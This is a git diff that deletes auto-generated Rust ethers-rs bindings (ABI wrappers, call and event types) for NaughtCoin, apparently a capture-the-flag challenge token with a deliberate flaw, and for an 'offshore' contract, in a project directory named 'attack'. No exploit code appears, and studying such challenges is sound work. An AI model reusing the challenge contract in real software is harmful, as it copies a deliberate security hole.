\x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\t\xFEW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\t\xE2V[P`\0`@\x82\x86\x01\x01R`@\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\naW`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\nyW`\0\x80\xFD[a\n\x82\x83a\n=V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\n\xA5W`\0\x80\xFD[a\n\xAE\x84a\n=V[\x92Pa\n\xBC` \x85\x01a\n=V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\n\xDEW`\0\x80\xFD[a\n\xE7\x82a\n=V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x0B\x01W`\0\x80\xFD[a\x0B\n\x83a\n=V[\x91Pa\x0B\x18` \x84\x01a\n=V[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x0B5W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x0BnW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x03\x1EW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \xE8\xC36h^\xB4\x9B\xA4\xFF\xCDS_9\xE5QTz\x1A\"\xF1\xCDUB\x12b\xDD\xA0)B\x01\x19\xEAdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static NAUGHTCOIN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct NaughtCoin(::ethers::contract::Contract); - impl ::core::clone::Clone for NaughtCoin { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for NaughtCoin { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for NaughtCoin { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for NaughtCoin { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(NaughtCoin)) - .field(&self.address()) - .finish() - } - } - impl NaughtCoin { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - NAUGHTCOIN_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - NAUGHTCOIN_ABI.clone(), - NAUGHTCOIN_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `INITIAL_SUPPLY` - /// (0x2ff2e9dc) function - pub fn initial_supply( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([47, 242, 233, 220], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `allowance` (0xdd62ed3e) - /// function - pub fn allowance( - &self, - owner: ::ethers::core::types::Address, - spender: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([221, 98, 237, 62], (owner, spender)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `approve` (0x095ea7b3) - /// function - pub fn approve( - &self, - spender: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([9, 94, 167, 179], (spender, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `balanceOf` (0x70a08231) - /// function - pub fn balance_of( - &self, - account: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([112, 160, 130, 49], account) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `decimals` (0x313ce567) - /// function - pub fn decimals( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([49, 60, 229, 103], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `decreaseAllowance` - /// (0xa457c2d7) function - pub fn decrease_allowance( - &self, - spender: ::ethers::core::types::Address, - subtracted_value: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([164, 87, 194, 215], (spender, subtracted_value)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `increaseAllowance` - /// (0x39509351) function - pub fn increase_allowance( - &self, - spender: ::ethers::core::types::Address, - added_value: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([57, 80, 147, 81], (spender, added_value)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `name` (0x06fdde03) - /// function - pub fn name( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([6, 253, 222, 3], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `player` (0x48db5f89) - /// function - pub fn player( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([72, 219, 95, 137], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `symbol` (0x95d89b41) - /// function - pub fn symbol( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([149, 216, 155, 65], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `timeLock` (0xd085835a) - /// function - pub fn time_lock( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([208, 133, 131, 90], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `totalSupply` (0x18160ddd) - /// function - pub fn total_supply( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([24, 22, 13, 221], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transfer` (0xa9059cbb) - /// function - pub fn transfer( - &self, - to: ::ethers::core::types::Address, - value: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([169, 5, 156, 187], (to, value)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transferFrom` (0x23b872dd) - /// function - pub fn transfer_from( - &self, - from: ::ethers::core::types::Address, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([35, 184, 114, 221], (from, to, amount)) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `Approval` event - pub fn approval_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - ApprovalFilter, - > { - self.0.event() - } - ///Gets the contract's `Transfer` event - pub fn transfer_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - TransferFilter, - > { - self.0.event() - } - /// Returns an `Event` builder for all the events of - /// this contract. - pub fn events( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - NaughtCoinEvents, - > { - self.0.event_with_filter(::core::default::Default::default()) - } - } - impl - From<::ethers::contract::Contract> for NaughtCoin - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Approval", abi = "Approval(address,address,uint256)")] - pub struct ApprovalFilter { - #[ethevent(indexed)] - pub owner: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub spender: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Transfer", abi = "Transfer(address,address,uint256)")] - pub struct TransferFilter { - #[ethevent(indexed)] - pub from: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub to: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - ///Container type for all of the contract's events - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum NaughtCoinEvents { - ApprovalFilter(ApprovalFilter), - TransferFilter(TransferFilter), - } - impl ::ethers::contract::EthLogDecode for NaughtCoinEvents { - fn decode_log( - log: &::ethers::core::abi::RawLog, - ) -> ::core::result::Result { - if let Ok(decoded) = ApprovalFilter::decode_log(log) { - return Ok(NaughtCoinEvents::ApprovalFilter(decoded)); - } - if let Ok(decoded) = TransferFilter::decode_log(log) { - return Ok(NaughtCoinEvents::TransferFilter(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData) - } - } - impl ::core::fmt::Display for NaughtCoinEvents { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ApprovalFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for NaughtCoinEvents { - fn from(value: ApprovalFilter) -> Self { Self::ApprovalFilter(value) } - } - impl ::core::convert::From for NaughtCoinEvents { - fn from(value: TransferFilter) -> Self { Self::TransferFilter(value) } - } - ///Container type for all input parameters for the - /// `INITIAL_SUPPLY` function with signature - /// `INITIAL_SUPPLY()` and selector `0x2ff2e9dc` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "INITIAL_SUPPLY", abi = "INITIAL_SUPPLY()")] - pub struct InitialSupplyCall; - ///Container type for all input parameters for the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "allowance", abi = "allowance(address,address)")] - pub struct AllowanceCall { - pub owner: ::ethers::core::types::Address, - pub spender: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "approve", abi = "approve(address,uint256)")] - pub struct ApproveCall { - pub spender: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] - pub struct BalanceOfCall { - pub account: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `decimals` function with signature `decimals()` and - /// selector `0x313ce567` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "decimals", abi = "decimals()")] - pub struct DecimalsCall; - ///Container type for all input parameters for the - /// `decreaseAllowance` function with signature - /// `decreaseAllowance(address,uint256)` and selector - /// `0xa457c2d7` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "decreaseAllowance", - abi = "decreaseAllowance(address,uint256)" - )] - pub struct DecreaseAllowanceCall { - pub spender: ::ethers::core::types::Address, - pub subtracted_value: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `increaseAllowance` function with signature - /// `increaseAllowance(address,uint256)` and selector - /// `0x39509351` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "increaseAllowance", - abi = "increaseAllowance(address,uint256)" - )] - pub struct IncreaseAllowanceCall { - pub spender: ::ethers::core::types::Address, - pub added_value: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `name` function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "name", abi = "name()")] - pub struct NameCall; - ///Container type for all input parameters for the - /// `player` function with signature `player()` and - /// selector `0x48db5f89` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "player", abi = "player()")] - pub struct PlayerCall; - ///Container type for all input parameters for the - /// `symbol` function with signature `symbol()` and - /// selector `0x95d89b41` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "symbol", abi = "symbol()")] - pub struct SymbolCall; - ///Container type for all input parameters for the - /// `timeLock` function with signature `timeLock()` and - /// selector `0xd085835a` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "timeLock", abi = "timeLock()")] - pub struct TimeLockCall; - ///Container type for all input parameters for the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "totalSupply", abi = "totalSupply()")] - pub struct TotalSupplyCall; - ///Container type for all input parameters for the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transfer", abi = "transfer(address,uint256)")] - pub struct TransferCall { - pub to: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "transferFrom", - abi = "transferFrom(address,address,uint256)" - )] - pub struct TransferFromCall { - pub from: ::ethers::core::types::Address, - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum NaughtCoinCalls { - InitialSupply(InitialSupplyCall), - Allowance(AllowanceCall), - Approve(ApproveCall), - BalanceOf(BalanceOfCall), - Decimals(DecimalsCall), - DecreaseAllowance(DecreaseAllowanceCall), - IncreaseAllowance(IncreaseAllowanceCall), - Name(NameCall), - Player(PlayerCall), - Symbol(SymbolCall), - TimeLock(TimeLockCall), - TotalSupply(TotalSupplyCall), - Transfer(TransferCall), - TransferFrom(TransferFromCall), - } - impl ::ethers::core::abi::AbiDecode for NaughtCoinCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::InitialSupply(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Allowance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Approve(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::BalanceOf(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Decimals(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::DecreaseAllowance(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::IncreaseAllowance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Name(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Player(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Symbol(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::TimeLock(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TotalSupply(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Transfer(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TransferFrom(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for NaughtCoinCalls { - fn encode(self) -> Vec { - match self { - Self::InitialSupply(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Allowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Approve(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::BalanceOf(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Decimals(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::DecreaseAllowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::IncreaseAllowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Name(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Player(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Symbol(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TimeLock(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TotalSupply(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Transfer(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TransferFrom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for NaughtCoinCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::InitialSupply(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Allowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Approve(element) => ::core::fmt::Display::fmt(element, f), - Self::BalanceOf(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Decimals(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::DecreaseAllowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::IncreaseAllowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Name(element) => ::core::fmt::Display::fmt(element, f), - Self::Player(element) => ::core::fmt::Display::fmt(element, f), - Self::Symbol(element) => ::core::fmt::Display::fmt(element, f), - Self::TimeLock(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TotalSupply(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Transfer(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFrom(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: InitialSupplyCall) -> Self { Self::InitialSupply(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: AllowanceCall) -> Self { Self::Allowance(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: ApproveCall) -> Self { Self::Approve(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: BalanceOfCall) -> Self { Self::BalanceOf(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: DecimalsCall) -> Self { Self::Decimals(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: DecreaseAllowanceCall) -> Self { - Self::DecreaseAllowance(value) - } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: IncreaseAllowanceCall) -> Self { - Self::IncreaseAllowance(value) - } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: NameCall) -> Self { Self::Name(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: PlayerCall) -> Self { Self::Player(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: SymbolCall) -> Self { Self::Symbol(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: TimeLockCall) -> Self { Self::TimeLock(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: TotalSupplyCall) -> Self { Self::TotalSupply(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: TransferCall) -> Self { Self::Transfer(value) } - } - impl ::core::convert::From for NaughtCoinCalls { - fn from(value: TransferFromCall) -> Self { Self::TransferFrom(value) } - } - ///Container type for all return fields from the - /// `INITIAL_SUPPLY` function with signature - /// `INITIAL_SUPPLY()` and selector `0x2ff2e9dc` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct InitialSupplyReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct AllowanceReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ApproveReturn(pub bool); - ///Container type for all return fields from the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceOfReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `decimals` function with signature `decimals()` and - /// selector `0x313ce567` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct DecimalsReturn(pub u8); - ///Container type for all return fields from the - /// `decreaseAllowance` function with signature - /// `decreaseAllowance(address,uint256)` and selector - /// `0xa457c2d7` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct DecreaseAllowanceReturn(pub bool); - ///Container type for all return fields from the - /// `increaseAllowance` function with signature - /// `increaseAllowance(address,uint256)` and selector - /// `0x39509351` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IncreaseAllowanceReturn(pub bool); - ///Container type for all return fields from the `name` - /// function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct NameReturn(pub ::std::string::String); - ///Container type for all return fields from the - /// `player` function with signature `player()` and - /// selector `0x48db5f89` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct PlayerReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `symbol` function with signature `symbol()` and - /// selector `0x95d89b41` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct SymbolReturn(pub ::std::string::String); - ///Container type for all return fields from the - /// `timeLock` function with signature `timeLock()` and - /// selector `0xd085835a` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TimeLockReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TotalSupplyReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferReturn(pub bool); - ///Container type for all return fields from the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferFromReturn(pub bool); -} diff --git a/attack/src/abi/offshore.rs b/attack/src/abi/offshore.rs deleted file mode 100644 index b8c87da..0000000 --- a/attack/src/abi/offshore.rs +++ /dev/null @@ -1,313 +0,0 @@ -pub use offshore::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod offshore { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("balance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balance"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("balanceee"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static OFFSHORE_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = 